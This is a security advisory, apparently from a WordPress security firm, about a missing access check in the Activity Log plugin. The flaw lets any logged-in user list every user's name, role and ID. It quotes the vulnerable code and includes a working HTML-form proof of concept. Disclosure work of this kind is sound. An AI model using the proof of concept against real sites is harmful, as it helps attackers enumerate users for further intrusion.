Authenticated Information Disclosure Vulnerability in Activity Log
Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. One of those was an authenticated information disclosure vulnerability in the plugin Activity Log, which allows anyone logged in to WordPress to see the display name of other users on the website (which would normally be their first and last names), their role, and their user ID number. The value of that information would depend on if the users’ names was something that some would rather not be public and if there was some possibility that the information could be used to assist a malicious attacker in gaining further access to the website.
The vulnerability is due to the AJAX accessible function ajax_aal_get_properties(), in the file /classes/class-aal-settings.php, not having a check to make sure that the request is coming from a user who should be able to access to it (normally that would only be Administrator level users):
280 281 282 283 284 285 286 287 288 289 290 | public function ajax_aal_get_properties() { $action_category = isset( $_REQUEST['action_category'] ) ? $_REQUEST['action_category'] : false; $options = AAL_Main::instance()->notifications->get_settings_dropdown_values( $action_category ); if ( ! empty( $options ) ) { wp_send_json_success( $options ); } wp_send_json_error(); } |
Through that you can access the function get_settings_dropdown_values(), which allows you access to several pieces of data. The only one that seems to be important being the one display the user data:
131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | case 'user': // cache all data in case we need the same data twice on the same/upcoming pageloads if ( false === ( $results = wp_cache_get( $cache_key = 'notifications-users', 'aal' ) ) ) { // get all users $all_users = get_users(); $preped_users = array(); // prepare users foreach ( $all_users as $user ) { $user_role = $user->roles; // if user has no role (shouldn't happen, but just in case) if ( empty( $user_role ) ) continue; $user_role_obj = get_role( $user_role[0] ); $user_role_name = isset( $user_role_obj->name ) ? $user_role_obj->name : $user_role[0]; $preped_users[ $user->ID ] = apply_filters( 'aal_notifications_user_format', sprintf( '%s - %s (ID #%d)', $user->display_name, $user_role_name, $user->ID ), $user ); } wp_cache_set( $cache_key, $results = $preped_users, 'aal' ); // no need for expiration time } |
We notified the developer and they claimed it “isn’t really a security issue” and have yet to fix it.
Proof of Concept
The following proof of concept, when logged in as a subscriber level or higher user, will display all users’ display names, roles, and user IDs.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="aal_get_properties" /> <input type="hidden" name="action_category" value="user" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 6/27/2016 – Developer notified.
- 7/6/2016 – Version 2.3.0 released, which fixes vulnerability.